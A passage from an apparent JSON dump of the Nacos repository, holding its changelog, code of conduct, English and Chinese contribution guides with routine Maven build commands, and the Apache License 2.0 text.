  },
  {
    "path": "CHANGELOG.md",
    "content": "## 1.0.0-RC4(Mar 22, 2019)\n* [#923] Nacos 1.0.0 compatible with nacos-client 0.6.2\n* [#938] Client beat processor task lost\n* [#946] Change default server mode to AP\n\n\n\n## 1.0.0-RC1(Mar 15, 2019)\n\n* [#870] About Nacos's namespace and tenant design\n* [#869] Client exception message is confusing\n* [#866] BeatInfo scheduled property may have the memory visibility issue\n* [#865] checksum value is not correct\n* [#839] Refactor API URLs \n* [#811] ApiCommands.updateIpPublish countDownLatch timeout issue\n* [#809] Instance field 'valid' should be deprecated and replaced by 'healthy'\n* [#803] Nacos front-end function regression plan and landing\n* [#801] Nacos uses nignx as a best practice article for current limiting.\n* [#757] The word 'domain' should be replaced by 'service'\n* [#745] Support server running mode in CP, AP or mixed\n* [#744] The exact status of server should be stored and controlled\n* [#725] Will the nacos registry be how to do multi-environment deployment?\n* [#677] Support ephemeral instances and persistent instances\n* [#651] Remove old API entry 'APICommands'\n* [#650] Refactor server list management to make it irrelevant to consistency protocol\n* [#634] Add global push enable switch and data query enable switch\n* [#629] Server data needs warm up before open traffic\n* [#502] Registering ephemeral instance as well as persistent instances\n* [#501] Health check mode confict when building muilt clusters whit nacos sync + nacos\n* [#479] Metadata should be displayed and edited using standard property syntax\n* [#327] Inform the ACM SDK of the RAM role name and access the configuration ? ?\n* [#269] need to support service group in naming module\n\n## 0.9.0(Feb 28, 2019)\n\n* [#840] Nacos server adds startup mode to distinguish between config and naming.\n* [#762] Register instance returns failed when the health check mode is 'server' in standalone mode.\n* [#473] Nacos Cluster Mode kubernate Startup nacos.log error Log.\n* [#240] Log strong dependence problem.\n* [#824] getServicesOfServer throws exception if service list is empty.\n* [#802] Nacos server multi-boot mode support.\n* [#800] Nacos's client-to-server addressing mode document introduction.\n* [#768] The interval at which the heartbeat is sent in BeatReactor is not controlled by the server return value.\n* [#759] why instance can't auto-delete.\n* [#756] Format of instance and service should be validated.\n* [#720] Memory leak in PushService.\n* [#653] IoUtils under nacos-common-0.2.1-RC1.jar lacks \"\" judgment on encoding.\n* [#588] Client compatible to jdk1.6.\n\n## 0.8.0(Jan 22, 2019) PRE-GA\n\n* [#162] Support open metrics and prometheus\n* [#268] Health check is performed in the Nacos startup script\n* [#320] Nacos supports multiple configuration files, configuration template abstraction and inheritance\n* [#333] Use nacos in k8s to get hostname exception\n* [#335] update nacos.io docker img priority/low\n* [#339] Project language problem identified in github\n* [#381] Discuss：How to support Login\n* [#397] Some questions for Nacos\n* [#402] When the configuration is added or edited, the edit box will not come out \n* [#462] Nacos monitor discuss (0.8 version)\n* [#496] Warning log printing when quering a nonexistent service\n* [#497] Make subscription of service triggered by getInstance method optional\n* [#498] Support namespace for service discovery\n* [#499] When the configuration is newly created (if data-id and group already exist), the original configuration will be overwritten\n* [#512] nacos-logs start.out always print 8848 (but port can be changed)\n* [#514] Nacos 0.7 not support namespace\n* [#523] Add a switch to control server detection and client reporting heartbeat switching\n* [#526] Possible data loss in server side health check mode\n* [#527] Many repeat client beat tasks can be generated\n* [#558] Enable access log recording by default \n* [#560] Nacos server startup issues\n* [#579] New API support - “update health in none health check mode through api”\n* [#587] Client sends request concurrently\n* [#592] Service restful interface put/post is reversed\n* [#599] getSubscribeServices method gets services that were deregistered\n* [#603] Format log of naming module \n* [#609] Always print a NPE log at start\n* [#663] Nacos update instance info NPE\n* [#668] 0.8.0-SNAPSHOT naming heartbeat not compatible with lower version client\n* [#672] Startup.cmd bug\n\n## 0.7.0(Dec, 2018)\n\n* [ #461 ] Registration failed when instance port is set to 0\n* [ #455 ] The console can't change the change code\n* [ #447 ] 集群模式server挂掉一台后，提供方注册失败\n* [ #445 ] 0.6.1控制台创建配置发布提交时，提示信息有问题\n* [ #442 ] Typos in class names and variables.\n* [ #413 ] The console has some uncaught exceptions\n* [ #395 ] nacos surport mysql in the case of stand-alone mode\n* [ #393 ] Support operation of selector on console\n* [ #365 ] NodeJs SDK support\n* [ #362 ] The metadata will lost when online or offline instance through web ui\n* [ #187 ] Provide Label ability for Naming Service into NACOS for complex multi-DC scenario.\n\n## 0.6.1(Dec, 2018)\n\n* [#421] NamingService's serivce name can't use colon(:) in Windows\n* [#432] When packing nacos-core, ${user.home} is replaced in the logback configuration file (nacos.xml)\n\n## 0.6.0(Dec, 2018)\n\n* [#388] Cluster name should be provided in the Instance\n* [#377] Clean up messy code in Naming module\n* [#369] Support instance list persisted on disk\n* [#366] findbugs-maven-plugin version\n* [#362] The metadata will lost when online or offline instance through web ui\n* [#352] Refactoring internationalization Nacos console\n* [#278] Nacos docker img\n* [#243] optimize the efficiency of integration testing, it’s taking too long now\n\n## 0.5.0(Nov, 2018)\n\n* [#148] Naming write performace.\n* [#175] Support deregistering instance automatically.\n* [#176] Naming client query instance method should bypass local cache at client start.\n* [#177] Console supports registering new empty service and delete empty service.\n* [#181] NPE when adding an instance if no leader in the raft cluster.\n* [#193] Configure host domain name cause nacos server cluster is unavailable.\n* [#209] Disable service and cluster level customization in client registerInstance method.\n* [#214] Please support Java 11.\n* [#222] print more nacos server start status info in start.log.\n* [#231] Refactoring: Parsing the Nacos home directory and the cluster.conf file.\n* [#246] \"mvn -B clean apache-rat:check findbugs:findbugs\" did not work as expected.\n* [#251] Console Editor Optimization.\n* [#254] DataId and group are required in historical version and listener query.\n* [#256] Whether the service discovery data needs to add a newline link symbol.\n* [#257] Listening query switching query dimension data is not refreshed.\n* [#258] Remove the Balloon of DataId/Group.\n* [#259] Listening query paging size problem.\n* [#272] \"#it is ip\" is also parsed into an instance IP.\n* [#275] nacos coredns plugin to support DNS.\n* [#281] We should lint the console code.\n* [#302] Maven build project supports java 11.\n* [#316] In stand alone mode, Nacos still checks the cluster.conf.\n\n## 0.4.0(Nov 7, 2018)\n\n* [#216] Fix tenant dir problem\n* [#197] Service update ignored some properties\n* [#190] Client beat lose weight info and metadata info\n* [#188] Console delete data cannot be updated in time\n* [#179] Listening query fail when namespace is not blank\n* [#157] Lack information in readme.md to describe the related project repositories for Nacos echosystem\n* [#144] There have a error and something are not clear\n* [#106] Snapshot file create error\n* [#92] Eliminate warnings, refactor code, show start.log detail\n\n\n## 0.3.0(Oct 26, 2018)\n\n* [#171] UI debug errors\n* [#156] Web UI 404 problem\n* [#155] use local resource\n* [#145] nacos-example not found :org.apache.logging.log4j.core.Logger\n* [#142] UI console show Group\n* [#149] Fix naming client beat process failed bug.\n* [#150] Fix naming service registration hangs bug.\n\n## 0.3.0-RC1(Oct 19, 2018)\n\n* [#33] Support console for config management.\n* [#51] Support console for naming service.\n* [#121] Fix get instance method hanging bug.\n* [#138] Add a flag to indicate if instance is offline.\n* [#130] Fix health check disabled if machine has one CPU core bug.\n* [#139] Fix still get instance with zero weight bug.\n* [#128] Fix console layout bug.\n\n\n\n## 0.2.1-release(Sept 28, 2018)\n\n* Fix deregister last instance failed error.\n* Fix url pattern error.\n* Fully integrate with and seamlessly support Spring framework, Spring Boot and Spring Cloud\n* Separate nacos-api from nacos client implementation\n* Support high available cluster mode\n* Fix cluster node health check abnormality\n* Fix stand-alone mode gets the change history list exception\n* Fix Pulling does not exist configuration print io exception\n* Optimized log framework\n* Service Discovery: Client support getting server status.\n* Service Discovery: Client support get all service names of server.\n* Service Discovery: Client support get all subscribed services.\n\n## 0.2.0 (Sept 17, 2018)\n\n#### FEATURES:\n\n* separate nacos-api from nacos client implementation\n* Cluster node health check abnormality\n* Stand-alone mode gets the change history list exception\n* Pulling does not exist configuration print io exception\n* Optimized log framework\n* Service Discovery: Client support getting server status.\n* Service Discovery: Client support get all service names of server.\n* Service Discovery: Client support get all subscribed services.\n\n\n#### IMPROVEMENTS:\n\n#### BUG FIXES:\n\n#### BREAKING CHANGES:\n\n\n\n## 0.1.0 (July 18, 2018)\n\n#### FEATURES:\n\n* Creating, deleting, modifying, and querying configurations: the core functionalities.\n* Multiple languages support: supports Java/Shell/HTTP OpenAPI.\n* Service Discovery: Basic service registry and discovery.\n* Service Discovery: Service load balancing using instance weights, protect threshold and instance health statuses.\n* Service Discovery: Supports four ways for health check: http, tcp, mysql and client heartbeat.\n* Service Discovery: CRUD operations on service instances through Java client and open API.\n* Service Discovery: Service subscribtion and push through Java client.\n* Nacos official website is coming. https://nacos.io/\n\n\n\n#### IMPROVEMENTS:\n\n#### BUG FIXES:\n\n#### BREAKING CHANGES:\n"
  },
  {
    "path": "CODE_OF_CONDUCT.md",
    "content": "# Contributor Covenant Code of Conduct\n\n## Our Pledge\n\nIn the interest of fostering an open and welcoming environment, we as\ncontributors and maintainers pledge to making participation in our project and\nour community a harassment-free experience for everyone, regardless of age, body\nsize, disability, ethnicity, gender identity and expression, level of experience,\neducation, socio-economic status, nationality, personal appearance, race,\nreligion, or sexual identity and orientation.\n\n## Our Standards\n\nExamples of behavior that contributes to creating a positive environment\ninclude:\n\n* Using welcoming and inclusive language\n* Being respectful of differing viewpoints and experiences\n* Gracefully accepting constructive criticism\n* Focusing on what is best for the community\n* Showing empathy towards other community members\n\nExamples of unacceptable behavior by participants include:\n\n* The use of sexualized language or imagery and unwelcome sexual attention or\n  advances\n* Trolling, insulting/derogatory comments, and personal or political attacks\n* Public or private harassment\n* Publishing others' private information, such as a physical or electronic\n  address, without explicit permission\n* Other conduct which could reasonably be considered inappropriate in a\n  professional setting\n\n## Our Responsibilities\n\nProject maintainers are responsible for clarifying the standards of acceptable\nbehavior and are expected to take appropriate and fair corrective action in\nresponse to any instances of unacceptable behavior.\n\nProject maintainers have the right and responsibility to remove, edit, or\nreject comments, commits, code, wiki edits, issues, and other contributions\nthat are not aligned to this Code of Conduct, or to ban temporarily or\npermanently any contributor for other behaviors that they deem inappropriate,\nthreatening, offensive, or harmful.\n\n## Scope\n\nThis Code of Conduct applies both within project spaces and in public spaces\nwhen an individual is representing the project or its community. Examples of\nrepresenting a project or community include using an official project e-mail\naddress, posting via an official social media account, or acting as an appointed\nrepresentative at an online or offline event. Representation of a project may be\nfurther defined and clarified by project maintainers.\n\n## Enforcement\n\nInstances of abusive, harassing, or otherwise unacceptable behavior may be\nreported by contacting the project team at users-nacos@googlegroups.com. All\ncomplaints will be reviewed and investigated and will result in a response that\nis deemed necessary and appropriate to the circumstances. The project team is\nobligated to maintain confidentiality with regard to the reporter of an incident.\nFurther details of specific enforcement policies may be posted separately.\n\nProject maintainers who do not follow or enforce the Code of Conduct in good\nfaith may face temporary or permanent repercussions as determined by other\nmembers of the project's leadership.\n\n## Attribution\n\nThis Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4,\navailable at https://www.contributor-covenant.org/version/1/4/code-of-conduct.html\n\n[homepage]: https://www.contributor-covenant.org\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Nacos\n\n[中文版](./CONTRIBUTING_zh.md)\n\nWelcome to Nacos! This document is a guideline about how to contribute to Nacos.\n\nIf you find something incorrect or missing, please leave comments / suggestions.\n\n## Before you get started\n\n### Code of Conduct\n\nPlease make sure to read and observe our [Code of Conduct](./CODE_OF_CONDUCT.md).\n\n## Contributing\n\nNacos welcome new participants of any role, including user, contributor, committer and PMC.\n\n![](http://acm-public.oss-cn-hangzhou.aliyuncs.com/contributor_definition.png)\n\n\nWe encourage newcomers actively joining in Nacos projects and involving from user roles to committer roles, and even PMC roles. In order to accomplish this, new comers needs to actively contribute in Nacos project. The following paragraph introduce how to contribute in Nacos way.\n\n#### Open / pickup an issue for preparation\n\nIf you find a typo in a document, find a bug in code or want new features, or want to give suggestions, you can [open an issue on GitHub](https://github.com/alibaba/Nacos/issues/new) to report it.\n\nIf you just want to contribute directly you can choose the issue below.\n\n-   [Contribution Welcome](https://github.com/alibaba/nacos/labels/contribution%20welcome): Heavily needed issue, but currently short of hand.\n    \n-   [good first issue](https://github.com/alibaba/nacos/labels/good%20first%20issue): Good for newcomers, newcomers can pick up one for warm-up.\n    \n\nWe strongly value documentation and integration with other projects such as Spring Cloud, Kubernetes, Dubbo, etc. We are very glad to work on any issue for these aspects.\n\nPlease note that any PR must be associated with a valid issue. Otherwise, the PR will be rejected.\n\n#### Begin your contribution\n\nNow if you want to contribute, please create a new pull request.\n\nWe use the `develop` branch as the development branch, which indicates that this is an unstable branch.\n\nFurthermore, our branching model complies with [https://nvie.com/posts/a-successful-git-branching-model/](https://nvie.com/posts/a-successful-git-branching-model/). We strongly suggest new comers walk through the above article before creating PR.\n\nNow, if you are ready to create PR, here is the workflow for contributors:\n\n1.  Fork to your own\n    \n2.  Clone fork to a local repository\n    \n3.  Create a new branch and work on it\n    \n4.  Keep your branch in sync\n    \n5.  Commit your changes (make sure your commit message is concise)\n\n6.  Run pre-submission checks locally (see [Pre-submission Checks](#pre-submission-checks) below)\n\n7.  Push your commits to your forked repository\n\n8.  Create a pull request to **develop** branch.\n    \n\nWhen creating pull request:\n\n1.  Please follow [the pull request template](./.github/PULL_REQUEST_TEMPLATE.md).\n    \n2.  Please create the request to **develop** branch.\n    \n3.  Please make sure the PR has a corresponding issue.\n    \n4.  If your PR contains large changes, e.g. component refactor or new components, please write detailed documents about its design and usage.\n    \n5.  Note that a single PR should not be too large. If heavy changes are required, it's better to separate the changes to a few individual PRs.\n    \n6.  After creating a PR, one or more reviewers will be assigned to the pull request.\n    \n7.  Before merging a PR, squash any fix review feedback, typo, merged and rebased sorts of commits. The final commit message should be clear and concise.\n    \n\nIf your PR contains large changes, e.g. component refactor or new components, please write detailed documents about its design and usage.\n\n### License header\n\nEvery new source file (`.java`, `.xml`, etc.) **must** include the Apache License 2.0 header. CI enforces this via `apache-rat:check` and your PR will fail without it.\n\nCopy the header below into every new file (adjust the comment style for non-Java files):\n\n```java\n/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n```\n\n### Pre-submission checks\n\nBefore pushing your commits, run the following command locally to catch issues early:\n\n```bash\nmvn -B clean compile apache-rat:check checkstyle:check spotbugs:check -DskipTests\n```\n\n| Check | What it verifies |\n|-------|-----------------|\n| `compile` | Code compiles without errors |\n| `apache-rat:check` | All source files have the required Apache License header |\n| `checkstyle:check` | Code style complies with [Alibaba Java Coding Guidelines](style/NacosCheckStyle.xml) |\n| `spotbugs:check` | No high-priority bug patterns detected by [SpotBugs](https://spotbugs.github.io/) |\n\nTo run unit tests:\n\n```bash\nmvn clean test\n```\n\n### Code review guidance\n\nCommitters will rotate reviewing the code to make sure all the PR will be reviewed timely and by at least one committer before merge. If we aren't doing our job (sometimes we drop things). And as always, we welcome volunteers for code review.\n\nSome principles:\n\n-   Readability - Important code should be well-documented. API should have Javadoc. Code style should be complied with the existing one.\n    \n-   Elegance: New functions, classes or components should be well-designed.\n    \n-   Testability - 80% of the new code should be covered by unit test cases.\n    \n-   Maintainability - Comply with our [PMD spec](style/codeStyle.md), and 3-month-frequency update should be maintained at least.\n    \n\n### Now how about try become a committer?\n\nGenerally speaking, contribute 8 non-trivial patches and get at least three different people to review them (you'll need three people to support you). Then ask someone to nominate you. You're demonstrating your:\n\n-   at least 8 PR and the associated issues to the project,\n    \n-   ability to collaborate with the team,\n    \n-   understanding of the projects' code base and coding style, and\n    \n-   ability to write good code (last but certainly not least)\n    \n\nA current committer nominates you by slacking the team on the Nacos issue with the label \"nomination\"\n\n-   your first and last name\n    \n-   a link to your Git profile\n    \n-   an explanation of why you should be a committer,\n    \n-   Elaborate on the top 3 PR and the associated issues the nominator has worked with you that can demonstrate your ability.\n    \n\nTwo other committers need to second your nomination. If no one objects in 5 working days (China), you're a committer. If anyone objects or wants more information, the committers discuss and usually come to a consensus (within the 5 working days). If issues cannot be resolved, there's a vote among current committers.\n\n![](http://acm-public.oss-cn-hangzhou.aliyuncs.com/nomination_process.png)\n\nIn the worst case, this can drag out for two weeks. Keep contributing! Even in the rare cases where a nomination fails, the objection is usually something easy to address like \"more patches\" or \"not enough people are familiar with this person's work.\"\n"
  },
  {
    "path": "CONTRIBUTING_zh.md",
    "content": "# 贡献指南\n\n[English](./CONTRIBUTING.md)\n\n欢迎来到 Nacos！本文档是关于如何为 Nacos 做贡献的指南。\n\n如果您发现任何不正确或遗漏的内容，请留下意见或建议。\n\n## 开始之前\n\n### 行为准则\n\n请务必阅读并遵守我们的[行为准则](./CODE_OF_CONDUCT.md)。\n\n## 参与贡献\n\nNacos 欢迎任何角色的新参与者，包括用户、贡献者、Committer 和 PMC。\n\n![](http://acm-public.oss-cn-hangzhou.aliyuncs.com/contributor_definition.png)\n\n我们鼓励新人积极参与 Nacos 项目，从用户角色发展到贡献者、Committer，甚至 PMC。为了实现这一目标，新人需要积极地为 Nacos 项目做贡献。以下内容介绍了如何以 Nacos 的方式进行贡献。\n\n#### 创建或认领 Issue\n\n如果您发现文档中的拼写错误、代码中的 bug，或者想要新功能、提出建议，可以在 [GitHub 上创建 Issue](https://github.com/alibaba/Nacos/issues/new) 进行反馈。\n\n如果您想直接参与贡献，可以选择以下标签的 Issue：\n\n-   [Contribution Welcome](https://github.com/alibaba/nacos/labels/contribution%20welcome)：急需解决但人手不足的 Issue。\n\n-   [good first issue](https://github.com/alibaba/nacos/labels/good%20first%20issue)：适合新手的 Issue，可以作为入门热身。\n\n我们非常重视文档编写以及与其他项目（如 Spring Cloud、Kubernetes、Dubbo 等）的集成。我们很乐意处理这些方面的任何 Issue。\n\n请注意，每个 PR 必须关联一个有效的 Issue，否则 PR 将被拒绝。\n\n#### 开始贡献\n\n如果您准备开始贡献，请创建一个新的 Pull Request。\n\n我们使用 `develop` 分支作为开发分支，这是一个不稳定的分支。\n\n此外，我们的分支模型遵循 [Git Flow](https://nvie.com/posts/a-successful-git-branching-model/)。我们强烈建议新人在创建 PR 之前先阅读上述文章。\n\n以下是贡献者的工作流程：\n\n1.  Fork 仓库到自己的账号下\n\n2.  将 Fork 克隆到本地\n\n3.  创建新分支并在上面开发\n\n4.  保持分支与上游同步\n\n5.  提交更改（确保 commit message 简洁明了）\n\n6.  在本地运行提交前检查（参见下方[提交前检查](#提交前检查)）\n\n7.  将提交推送到您的 Fork 仓库\n\n8.  向 **develop** 分支创建 Pull Request\n\n创建 Pull Request 时：\n\n1.  请遵循 [PR 模板](./.github/PULL_REQUEST_TEMPLATE.md)。\n\n2.  请将 PR 提交到 **develop** 分支。\n\n3.  请确保 PR 关联了对应的 Issue。\n\n4.  如果 PR 包含较大的改动（如组件重构或新组件），请编写详细的设计和使用文档。\n\n5.  注意单个 PR 不要过大。如果需要大量改动，最好将其拆分为多个独立的 PR。\n\n6.  创建 PR 后，一名或多名审核者会被分配到该 PR。\n\n7.  合并前，请将修复审查意见、拼写错误、合并和变基等提交压缩为有意义的提交。最终的 commit message 应当清晰简洁。\n\n如果 PR 包含较大的改动（如组件重构或新组件），请编写详细的设计和使用文档。\n\n### License 头\n\n每个新的源文件（`.java`、`.xml` 等）**必须**包含 Apache License 2.0 头。CI 会通过 `apache-rat:check` 自动检查，缺少 License 头的 PR 将无法通过。\n\n请将以下头信息复制到每个新文件中（非 Java 文件请调整注释风格）：\n\n```java\n/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n```\n\n### 提交前检查\n\n在推送代码之前，请在本地运行以下命令以尽早发现问题：\n\n```bash\nmvn -B clean compile apache-rat:check checkstyle:check spotbugs:check -DskipTests\n```\n\n| 检查项 | 说明 |\n|-------|------|\n| `compile` | 代码是否能正常编译 |\n| `apache-rat:check` | 所有源文件是否包含 Apache License 头 |\n| `checkstyle:check` | 代码风格是否符合[阿里巴巴 Java 开发规约](style/NacosCheckStyle.xml) |\n| `spotbugs:check` | 是否存在 [SpotBugs](https://spotbugs.github.io/) 检测到的高优先级 bug |\n\n运行单元测试：\n\n```bash\nmvn clean test\n```\n\n### 代码审查指南\n\nCommitter 会轮流审查代码，确保所有 PR 在合并前至少经过一名 Committer 的及时审核。如果我们有所疏漏，欢迎随时提醒。同时，我们也欢迎志愿者参与代码审查。\n\n一些原则：\n\n-   可读性 - 重要的代码应有完善的文档。API 应有 Javadoc。代码风格应与现有代码保持一致。\n\n-   优雅性 - 新的函数、类或组件应当设计良好。\n\n-   可测试性 - 新代码应有 80% 的单元测试覆盖率。\n\n-   可维护性 - 遵守我们的[代码规范](style/codeStyle.md)。\n\n### 如何成为 Committer？\n\n一般来说，需要贡献 8 个非琐碎的补丁，并获得至少三个不同的人来审核（您需要三个人的支持）。然后请人提名您。您需要展示：\n\n-   至少为项目贡献了 8 个 PR 和对应的 Issue\n\n-   能够与团队协作\n\n-   了解项目代码库和编码风格\n\n-   能够编写高质量的代码\n\nCommitter 通过在带有 \"nomination\" 标签的 Nacos Issue 中通知团队来提名您，需要包含：\n\n-   您的姓名\n\n-   您的 Git 主页链接\n\n-   解释您为何应该成为 Committer\n\n-   详细说明提名者与您合作过的前 3 个 PR 和对应 Issue，以证明您的能力\n\n需要另外两名 Committer 附议您的提名。如果 5 个工作日（中国时间）内没有人反对，您就是 Committer 了。如果有人反对或需要更多信息，Committer 们会进行讨论并通常在 5 个工作日内达成共识。如果问题无法解决，将在现有 Committer 中进行投票。\n\n![](http://acm-public.oss-cn-hangzhou.aliyuncs.com/nomination_process.png)\n\n在最坏的情况下，这个过程可能会持续两周。请继续贡献！即使在提名失败的罕见情况下，反对意见通常也是容易解决的，比如\"需要更多补丁\"或\"没有足够的人熟悉此人的工作\"。\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "NOTICE",
